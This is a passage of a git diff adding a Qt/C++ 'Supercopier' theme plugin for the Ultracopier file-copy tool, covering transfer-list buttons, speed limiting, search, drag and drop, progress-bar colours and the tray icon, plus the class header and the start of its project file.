+ emit moveItemsDown(ids);
+}
+
+void Themes::on_putOnBottom_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsOnBottom(ids);
+}
+
+void Themes::on_del_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit removeItems(ids);
+}
+
+void Themes::on_cancelButton_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->hide();
+ emit cancel();
+}
+
+
+void Themes::speedWithProgressBar_toggled(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ ui->progressBarCurrentSpeed->setVisible(checked);
+ ui->currentSpeed->setVisible(!checked);
+}
+
+void Themes::showDualProgression_toggled(bool checked)
+{
+ Q_UNUSED(checked);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ updateProgressionColorBar();
+}
+
+void Themes::checkBoxShowSpeed_toggled(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ Q_UNUSED(checked);
+ updateSpeed();
+}
+
+void Themes::on_SliderSpeed_valueChanged(int value)
+{
+ if(!uiOptions->checkBoxShowSpeed->isChecked())
+ return;
+ switch(value)
+ {
+ case 0:
+ currentSpeed=0;
+ break;
+ case 1:
+ currentSpeed=1024;
+ break;
+ case 2:
+ currentSpeed=1024*4;
+ break;
+ case 3:
+ currentSpeed=1024*16;
+ break;
+ case 4:
+ currentSpeed=1024*64;
+ break;
+ case 5:
+ currentSpeed=1024*128;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("value: %1").arg(value));
+ emit newSpeedLimitation(currentSpeed);
+ updateSpeed();
+}
+
+void Themes::uiUpdateSpeed()
+{
+ if(uiOptions->checkBoxShowSpeed->isChecked())
+ return;
+ if(!uiOptions->checkBox_limitSpeed->isChecked())
+ currentSpeed=0;
+ else
+ currentSpeed=uiOptions->limitSpeed->value();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("emit newSpeedLimitation(%1)").arg(currentSpeed));
+ emit newSpeedLimitation(currentSpeed);
+}
+
+void Themes::updateSpeed()
+{
+ ui->label_Slider_speed->setVisible(uiOptions->checkBoxShowSpeed->isChecked());
+ ui->SliderSpeed->setVisible(uiOptions->checkBoxShowSpeed->isChecked());
+ ui->label_SpeedMaxValue->setVisible(uiOptions->checkBoxShowSpeed->isChecked());
+ uiOptions->limitSpeed->setVisible(!uiOptions->checkBoxShowSpeed->isChecked());
+ uiOptions->checkBox_limitSpeed->setVisible(!uiOptions->checkBoxShowSpeed->isChecked());
+
+ if(uiOptions->checkBoxShowSpeed->isChecked())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("checked, currentSpeed: %1").arg(currentSpeed));
+ uiOptions->limitSpeed->setEnabled(false);
+ if(currentSpeed==0)
+ {
+ ui->SliderSpeed->setValue(0);
+ ui->label_SpeedMaxValue->setText(facilityEngine->translateText(QStringLiteral("Unlimited")));
+ }
+ else if(currentSpeed<=1024)
+ {
+ if(currentSpeed!=1024)
+ {
+ currentSpeed=1024;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(1);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*1));
+ }
+ else if(currentSpeed<=1024*4)
+ {
+ if(currentSpeed!=1024*4)
+ {
+ currentSpeed=1024*4;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(2);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*4));
+ }
+ else if(currentSpeed<=1024*16)
+ {
+ if(currentSpeed!=1024*16)
+ {
+ currentSpeed=1024*16;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(3);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*16));
+ }
+ else if(currentSpeed<=1024*64)
+ {
+ if(currentSpeed!=1024*64)
+ {
+ currentSpeed=1024*64;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(4);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*64));
+ }
+ else
+ {
+ if(currentSpeed!=1024*128)
+ {
+ currentSpeed=1024*128;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(5);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*128));
+ }
+ }
+ else
+ {
+ uiOptions->checkBox_limitSpeed->setChecked(currentSpeed>0);
+ if(currentSpeed>0)
+ uiOptions->limitSpeed->setValue(currentSpeed);
+ uiOptions->checkBox_limitSpeed->setEnabled(currentSpeed!=-1);
+ uiOptions->limitSpeed->setEnabled(uiOptions->checkBox_limitSpeed->isChecked());
+ }
+}
+
+void Themes::on_pauseButton_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(storeIsInPause)
+ emit resume();
+ else
+ emit pause();
+}
+
+void Themes::on_skipButton_clicked()
+{
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(transfertItem.haveItem)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip at running: %1").arg(transfertItem.id));
+ emit skip(transfertItem.id);
+ }
+ else
+ {
+ if(transferModel.rowCount()>1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip at idle: %1").arg(transferModel.firstId()));
+ emit skip(transferModel.firstId());
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to skip the transfer, because no transfer running");
+ }
+}
+
+void Themes::updateModeAndType()
+{
+ menu->clear();
+ if(modeIsForced)
+ {
+ menu->addAction(ui->actionAddFile);
+ if(type==Ultracopier::FileAndFolder)
+ menu->addAction(ui->actionAddFolder);
+ }
+ else
+ {
+ menu->addAction(ui->actionAddFileToCopy);
+ menu->addAction(ui->actionAddFileToMove);
+ if(type==Ultracopier::FileAndFolder)
+ {
+ menu->addAction(ui->actionAddFolderToCopy);
+ menu->addAction(ui->actionAddFolderToMove);
+ }
+ }
+}
+
+void Themes::forcedModeAddFile()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFile(mode);
+}
+
+void Themes::forcedModeAddFolder()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFolder(mode);
+}
+
+void Themes::forcedModeAddFileToCopy()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFile(Ultracopier::Copy);
+}
+
+void Themes::forcedModeAddFolderToCopy()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFolder(Ultracopier::Copy);
+}
+
+void Themes::forcedModeAddFileToMove()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFile(Ultracopier::Move);
+}
+
+void Themes::forcedModeAddFolderToMove()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFolder(Ultracopier::Move);
+}
+
+void Themes::newLanguageLoaded()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(modeIsForced)
+ forceCopyMode(mode);
+ ui->retranslateUi(this);
+ uiOptions->retranslateUi(this);
+ uiOptions->comboBox_copyEnd->setItemText(0,tr("Don't close if errors are found"));
+ uiOptions->comboBox_copyEnd->setItemText(1,tr("Never close"));
+ uiOptions->comboBox_copyEnd->setItemText(2,tr("Always close"));
+ if(!haveStarted)
+ ui->current_file->setText(tr("File Name, 0KB"));
+ else
+ updateCurrentFileInformation();
+ updateOverallInformation();
+ updateSpeed();
+ if(ui->tabWidget->count()>=4)
+ ui->tabWidget->setTabText(ui->tabWidget->count()-1,facilityEngine->translateText(QStringLiteral("Copy engine")));
+ on_moreButton_toggled(ui->moreButton->isChecked());
+}
+
+void Themes::on_pushButtonCloseSearch_clicked()
+{
+ closeTheSearchBox();
+}
+
+//close the search box
+void Themes::closeTheSearchBox()
+{
+ currentIndexSearch = -1;
+ ui->lineEditSearch->clear();
+ ui->lineEditSearch->hide();
+ ui->pushButtonSearchPrev->hide();
+ ui->pushButtonSearchNext->hide();
+ ui->pushButtonCloseSearch->hide();
+ ui->searchButton->setChecked(false);
+ hilightTheSearch();
+}
+
+//search box shortcut
+void Themes::searchBoxShortcut()
+{
+/* if(ui->lineEditSearch->isHidden())
+ {*/
+ ui->lineEditSearch->show();
+ ui->pushButtonSearchPrev->show();
+ ui->pushButtonSearchNext->show();
+ ui->pushButtonCloseSearch->show();
+ ui->lineEditSearch->setFocus(Qt::ShortcutFocusReason);
+ ui->searchButton->setChecked(true);
+/* }
+ else
+ closeTheSearchBox();*/
+}
+
+//hilight the search
+void Themes::hilightTheSearch(bool searchNext)
+{
+ int result=transferModel.search(ui->lineEditSearch->text(),searchNext);
+ if(ui->lineEditSearch->text().isEmpty())
+ ui->lineEditSearch->setStyleSheet("");
+ else
+ {
+ if(result==-1)
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(255, 150, 150);"));
+ else
+ {
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(193,255,176);"));
+ ui->TransferList->scrollTo(transferModel.index(result,0));
+ }
+ }
+}
+
+void Themes::hilightTheSearchSlot()
+{
+ hilightTheSearch();
+}
+
+void Themes::on_pushButtonSearchPrev_clicked()
+{
+ int result=transferModel.searchPrev(ui->lineEditSearch->text());
+ if(ui->lineEditSearch->text().isEmpty())
+ ui->lineEditSearch->setStyleSheet("");
+ else
+ {
+ if(result==-1)
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(255, 150, 150);"));
+ else
+ {
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(193,255,176);"));
+ ui->TransferList->scrollTo(transferModel.index(result,0));
+ }
+ }
+}
+
+void Themes::on_pushButtonSearchNext_clicked()
+{
+ hilightTheSearch(true);
+}
+
+void Themes::on_lineEditSearch_returnPressed()
+{
+ hilightTheSearch();
+}
+
+void Themes::on_lineEditSearch_textChanged(QString text)
+{
+ if(text=="")
+ {
+ TimerForSearch->stop();
+ hilightTheSearch();
+ }
+ else
+ TimerForSearch->start();
+}
+
+void Themes::on_moreButton_toggled(bool checked)
+{
+ if(checked)
+ this->setMaximumHeight(16777215);
+ else
+ this->setMaximumHeight(130);
+ // usefull under windows
+ this->updateGeometry();
+ this->update();
+ this->adjustSize();
+}
+
+/* drag event processing
+
+need setAcceptDrops(true); into the constructor
+need implementation to accept the drop:
+void dragEnterEvent(QDragEnterEvent* event);
+void dragMoveEvent(QDragMoveEvent* event);
+void dragLeaveEvent(QDragLeaveEvent* event);
+*/
+void Themes::dropEvent(QDropEvent *event)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("hasUrls"));
+ emit urlDropped(mimeData->urls());
+ event->acceptProposedAction();
+ }
+}
+
+void Themes::dragEnterEvent(QDragEnterEvent* event)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ // if some actions should not be usable, like move, this code must be adopted
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("hasUrls"));
+ event->acceptProposedAction();
+ }
+}
+
+void Themes::dragMoveEvent(QDragMoveEvent* event)
+{
+ // if some actions should not be usable, like move, this code must be adopted
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ event->acceptProposedAction();
+}
+
+void Themes::dragLeaveEvent(QDragLeaveEvent* event)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ event->accept();
+}
+
+void Themes::on_searchButton_toggled(bool checked)
+{
+ if(checked)
+ searchBoxShortcut();
+ else
+ closeTheSearchBox();
+}
+
+void Themes::on_exportTransferList_clicked()
+{
+ emit exportTransferList();
+}
+
+void Themes::on_importTransferList_clicked()
+{
+ emit importTransferList();
+}
+
+void Themes::progressColorWrite_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorWrite,this,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorWrite=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ uiOptions->progressColorWrite->setIcon(pixmap);
+ updateProgressionColorBar();
+}
+
+void Themes::progressColorRead_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRead,this,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRead=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRead);
+ uiOptions->progressColorRead->setIcon(pixmap);
+ updateProgressionColorBar();
+}
+
+void Themes::progressColorRemaining_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRemaining,this,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRemaining=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRemaining);
+ uiOptions->progressColorRemaining->setIcon(pixmap);
+ updateProgressionColorBar();
+}
+
+void Themes::alwaysOnTop_clicked(bool reshow)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_WIN32
+ if(uiOptions->alwaysOnTop->isChecked())
+ SetWindowPos((HWND)this->winId(), HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+ else
+ SetWindowPos((HWND)this->winId(), HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+ #endif
+ #ifdef Q_OS_LINUX
+ if(uiOptions->alwaysOnTop->isChecked())
+ flags=flags | Qt::X11BypassWindowManagerHint;
+ else
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ if(uiOptions->alwaysOnTop->isChecked())
+ flags=flags | Qt::WindowStaysOnTopHint;
+ else
+ flags=flags & ~Qt::WindowStaysOnTopHint;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"uiOptions->alwaysOnTop->isChecked(): "+QString::number(uiOptions->alwaysOnTop->isChecked())+", flags: "+QString::number(flags));
+ setWindowFlags(flags);
+ if(reshow)
+ show();
+}
+
+void Themes::alwaysOnTop_clickedSlot()
+{
+ alwaysOnTop_clicked(true);
+}
+
+void Themes::updateProgressionColorBar()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ uiOptions->labelProgressionColor->setVisible(uiOptions->showDualProgression->isChecked());
+ uiOptions->frameProgressionColor->setVisible(uiOptions->showDualProgression->isChecked());
+ if(!uiOptions->showDualProgression->isChecked())
+ {
+ /*ui->progressBar_all->setStyleSheet("");
+ ui->progressBar_file->setStyleSheet("");
+ ui->progressBarCurrentSpeed->setStyleSheet("");*/
+ }
+ else
+ {
+ ui->progressBar_all->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBarCurrentSpeed->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ }
+ if(stat==status_never_started)
+ updateCurrentFileInformation();
+}
+
+void Themes::updateTitle()
+{
+ if(uiOptions->showProgressionInTheTitle->isChecked() && totalSize>0)
+ {
+ if(!modeIsForced)
+ this->setWindowTitle(tr("%1 %2% of %3").arg(facilityEngine->translateText("Transfer")).arg((currentSize*100)/totalSize).arg(facilityEngine->sizeToString(totalSize))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ this->setWindowTitle(tr("%1 %2% of %3").arg(facilityEngine->translateText("Copy")).arg((currentSize*100)/totalSize).arg(facilityEngine->sizeToString(totalSize))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ this->setWindowTitle(tr("%1 %2% of %3").arg(facilityEngine->translateText("Move")).arg((currentSize*100)/totalSize).arg(facilityEngine->sizeToString(totalSize))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ }
+ }
+ else
+ {
+ if(!modeIsForced)
+ this->setWindowTitle(QStringLiteral("%1").arg(facilityEngine->translateText("Transfer"))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ this->setWindowTitle(QStringLiteral("%1").arg(facilityEngine->translateText("Copy"))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ this->setWindowTitle(QStringLiteral("%1").arg(facilityEngine->translateText("Move"))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ }
+ }
+}
+
+/** \brief Create progessive icon
+
+Do QIcon with top and bottom image mixed and percent writed on it.
+The icon it be search in the style path.
+Do by mongaulois, remake by alpha_one_x86.
+\param percent indique how many percent need be showed, sould be between 0 and 100
+\param text The showed text if needed (optionnal)
+\return QIcon of the final image
+\note Can be used as it: dynaIcon(75,"...")
+*/
+QIcon Themes::dynaIcon(int percent,QString text) const
+{
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(pixmapTop.isNull() || pixmapBottom.isNull())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error loading the icons");
+ #endif
+ if(percent==-1)
+ percent=getOldProgression;
+ if(percent<0)
+ percent=0;
+ if(percent>100)
+ percent=100;
+ //pixmap avec un fond transparent
+ #ifdef Q_OS_WIN32
+ quint8 imageSize=16;
+ #else
+ quint8 imageSize=22;
+ #endif
+ QPixmap resultImage(imageSize,imageSize);
+ resultImage.fill(Qt::transparent);
+ {
+ QPainter painter(&resultImage);
+ #ifndef Q_OS_WIN32
+ QFont font(QStringLiteral("Courier New"),9);
+ font.setBold(true);
+ font.setKerning(true);
+ painter.setFont(font);
+ #endif
+ #ifdef Q_OS_WIN32
+ QFont font(QStringLiteral("Courier New"),8);
+ font.setBold(true);
+ font.setKerning(true);
+ painter.setFont(font);
+ #endif
+
+ //preprocessing the calcul
+ quint8 bottomPixel=(percent*imageSize)/100;
+ quint8 topPixel=imageSize-bottomPixel;
+
+ //top image
+ if(topPixel>0)
+ {
+ QRect target(0, 0, imageSize, topPixel);
+ QRect source(0, 0, imageSize, topPixel);
+ painter.drawPixmap(target, pixmapTop, source);
+ }
+
+ //bottom image
+ if(bottomPixel>0)
+ {
+ QRect target2(0, topPixel, imageSize, bottomPixel);
+ QRect source2(0, topPixel, imageSize, bottomPixel);
+ painter.drawPixmap(target2, pixmapBottom, source2);
+ }
+
+ qint8 textxOffset=0;
+ qint8 textyOffset=0;
+ if(text.isEmpty())
+ {
+ if(percent!=100)
+ text=QString::number(percent);
+ else
+ {
+ text=QStringLiteral(":)");
+ #ifdef Q_OS_WIN32
+ textyOffset-=2;
+ #else
+ textyOffset-=1;
+ #endif
+ }
+ }
+ if(text.size()==1)
+ {
+ textxOffset+=3;
+ #ifdef Q_OS_WIN32
+ textxOffset-=1;
+ #endif
+ }
+ else
+ {
+ #ifdef Q_OS_WIN32
+ textxOffset-=1;
+ #endif
+ }
+ #ifndef Q_OS_WIN32
+ textxOffset+=2;
+ textyOffset+=3;
+ #endif
+ painter.setPen(QPen(Qt::black));
+ painter.drawText(3+textxOffset,13+textyOffset,text);
+ painter.setPen(QPen(Qt::white));
+ painter.drawText(2+textxOffset,12+textyOffset,text);
+ }
+ return QIcon(resultImage);
+}
+
+/** \brief For catch an action on the systray icon
+\param reason Why it activated
+*/
+void Themes::catchAction(QSystemTrayIcon::ActivationReason reason)
+{
+ if(reason==QSystemTrayIcon::DoubleClick || reason==QSystemTrayIcon::Trigger)
+ {
+ sysTrayIcon->hide();
+ this->show();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Double Click detected");
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("reason: %1").arg(reason));
+}
+
+void Themes::on_exportErrorToTransferList_clicked()
+{
+ emit exportErrorIntoTransferList();
+}
diff --git a/plugins-alternative/Themes/Supercopier/interface.h b/plugins-alternative/Themes/Supercopier/interface.h
new file mode 100644
index 0000000..6929f07
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interface.h
@@ -0,0 +1,221 @@
+/** \file interface.h
+\brief Define the interface
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef INTERFACE_H
+#define INTERFACE_H
+
+#include <QObject>
+#include <QWidget>
+#include <QMenu>
+#include <QCloseEvent>
+#include <QShortcut>
+#include <QItemSelectionModel>
+#include <QTimer>
+#include <QTime>
+#include <QSystemTrayIcon>
+#include <QPixmap>
+
+#include "../../../interface/PluginInterface_Themes.h"
+
+#include "ui_interface.h"
+#include "ui_themesOptions.h"
+#include "Environment.h"
+#include "TransferModel.h"
+
+// for windows progress bar
+#ifndef __GNUC__
+#include <shobjidl.h>
+#endif
+
+namespace Ui {
+ class interfaceCopy;
+ class themesOptions;
+}
+
+/// \brief Define the interface
+class Themes : public PluginInterface_Themes
+{
+ Q_OBJECT
+public:
+ Themes(const bool &alwaysOnTop,
+ const bool &showProgressionInTheTitle,
+ const QColor &progressColorWrite,
+ const QColor &progressColorRead,
+ const QColor &progressColorRemaining,
+ const bool &showDualProgression,
+ const quint8 &comboBox_copyEnd,
+ const bool &speedWithProgressBar,
+ const qint32 &currentSpeed,
+ const bool &checkBoxShowSpeed,
+ FacilityInterface * facilityEngine,
+ const bool &moreButtonPushed,
+ const bool &minimizeToSystray);
+ ~Themes();
+ //send information about the copy
+ /// \brief to set the action in progress
+ void actionInProgess(const Ultracopier::EngineActionInProgress &);
+ /// \brief the new folder is listing
+ void newFolderListing(const QString &path);
+ /** \brief show the detected speed
+ * in byte per seconds */
+ void detectedSpeed(const quint64 &speed);
+ /** \brief show the remaining time
+ * time in seconds */
+ void remainingTime(const int &remainingSeconds);
+ /// \brief set the current collision action
+ void newCollisionAction(const QString &action);
+ /// \brief set the current error action
+ void newErrorAction(const QString &action);
+ /// \brief set one error is detected
+ void errorDetected();
+ /// \brief new error
+ void errorToRetry(const QString &source,const QString &destination,const QString &error);
+ /** \brief support speed limitation */
+ void setSupportSpeedLimitation(const bool &supportSpeedLimitationBool);
+ //get information about the copy
+ /// \brief show the general progression
+ void setGeneralProgression(const quint64 &current,const quint64 &total);
+ /// \brief show the file progression
+ void setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList);
+ /// \brief set the copyType -> file or folder
+ void setCopyType(const Ultracopier::CopyType &);
+ /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
+ void forceCopyMode(const Ultracopier::CopyMode &);
+ /// \brief set if transfer list is exportable/importable
+ void setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation);
+ //edit the transfer list
+ /// \brief get action on the transfer list (add/move/remove)
+ void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions);
+ /** \brief set if the order is external (like file manager copy)
+ * to notify the interface, which can hide add folder/filer button */
+ void haveExternalOrder();
+ /// \brief set if is in pause
+ void isInPause(const bool &);
+ /// \brief get the widget for the copy engine
+ QWidget * getOptionsEngineWidget();
+ /// \brief to set if the copy engine is found
+ void getOptionsEngineEnabled(const bool &isEnabled);
+ enum status{status_never_started,status_started,status_stopped};
+ status stat;
+public slots:
+ /// \brief set the translate
+ void newLanguageLoaded();
+private slots:
+ void on_putOnTop_clicked();
+ void on_pushUp_clicked();
+ void on_pushDown_clicked();
+ void on_putOnBottom_clicked();
+ void on_del_clicked();
+ void on_cancelButton_clicked();
+ void speedWithProgressBar_toggled(bool checked);
+ void showDualProgression_toggled(bool checked);
+ void checkBoxShowSpeed_toggled(bool checked);
+ void on_SliderSpeed_valueChanged(int value);
+ void on_pauseButton_clicked();
+ void on_skipButton_clicked();
+ void forcedModeAddFile();
+ void forcedModeAddFolder();
+ void forcedModeAddFileToCopy();
+ void forcedModeAddFolderToCopy();
+ void forcedModeAddFileToMove();
+ void forcedModeAddFolderToMove();
+ void uiUpdateSpeed();
+ void on_pushButtonCloseSearch_clicked();
+ //close the search box
+ void closeTheSearchBox();
+ //search box shortcut
+ void searchBoxShortcut();
+ //hilight the search
+ void hilightTheSearch(bool searchNext=false);
+ void hilightTheSearchSlot();
+ //auto connect
+ void on_pushButtonSearchPrev_clicked();
+ void on_pushButtonSearchNext_clicked();
+ void on_lineEditSearch_returnPressed();
+ void on_lineEditSearch_textChanged(QString text);
+ void on_moreButton_toggled(bool checked);
+ void on_searchButton_toggled(bool checked);
+ void on_exportTransferList_clicked();
+ void on_importTransferList_clicked();
+ void progressColorWrite_clicked();
+ void progressColorRead_clicked();
+ void progressColorRemaining_clicked();
+ void alwaysOnTop_clicked(bool reshow);
+ void alwaysOnTop_clickedSlot();
+ void updateProgressionColorBar();
+ void updateTitle();
+ void catchAction(QSystemTrayIcon::ActivationReason reason);
+ void on_exportErrorToTransferList_clicked();
+
+private:
+ QTime duration;
+ bool durationStarted;
+ QPixmap pixmapTop,pixmapBottom;
+ QColor progressColorWrite,progressColorRead,progressColorRemaining;
+ Ui::interfaceCopy *ui;
+ Ui::themesOptions *uiOptions;
+ quint64 currentFile;
+ quint64 totalFile;
+ quint64 currentSize;
+ quint64 totalSize;
+ quint8 getOldProgression;
+ QSystemTrayIcon *sysTrayIcon;
+ void updateOverallInformation();
+ void updateCurrentFileInformation();
+ QMenu *menu;
+ Ultracopier::EngineActionInProgress action;
+ void closeEvent(QCloseEvent *event);
+ qint32 currentSpeed;///< in KB/s, assume as 0KB/s as default like every where
+ void updateSpeed();
+ bool storeIsInPause;
+ bool modeIsForced;
+ Ultracopier::CopyType type;
+ Ultracopier::CopyMode mode;
+ void updateModeAndType();
+ bool haveStarted;
+ bool haveError;
+ QWidget optionEngineWidget;
+ QShortcut *searchShortcut;
+ QShortcut *searchShortcut2;
+ QShortcut *searchShortcut3;
+ QTimer *TimerForSearch;
+ int currentIndexSearch; ///< Current index search in starting at the end
+ FacilityInterface * facilityEngine;
+ QItemSelectionModel *selectionModel;
+ QModelIndexList selectedItems;
+ /// \brief the custom transfer model
+ TransferModel transferModel;
+
+ static QIcon player_play,player_pause;
+
+ /** \brief drag event processing
+
+ need setAcceptDrops(true); into the constructor
+ need implementation to accept the drop:
+ void dragEnterEvent(QDragEnterEvent* event);
+ void dragMoveEvent(QDragMoveEvent* event);
+ void dragLeaveEvent(QDragLeaveEvent* event);
+ */
+ void dropEvent(QDropEvent *event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragEnterEvent(QDragEnterEvent* event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragMoveEvent(QDragMoveEvent* event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragLeaveEvent(QDragLeaveEvent* event);
+ //have functionality
+ bool shutdown;
+ void updatePause();
+ QIcon dynaIcon(int percent,QString text="") const;
+ void updateSysTrayIcon();
+signals:
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
+};
+
+#endif // INTERFACE_H
diff --git a/plugins-alternative/Themes/Supercopier/interface.pro b/plugins-alternative/Themes/Supercopier/interface.pro
new file mode 100644
index 0000000..809a84c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interface.pro
@@ -0,0 +1,59 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
+TEMPLATE = lib
+CONFIG += plugin
+HEADERS = interface.h \
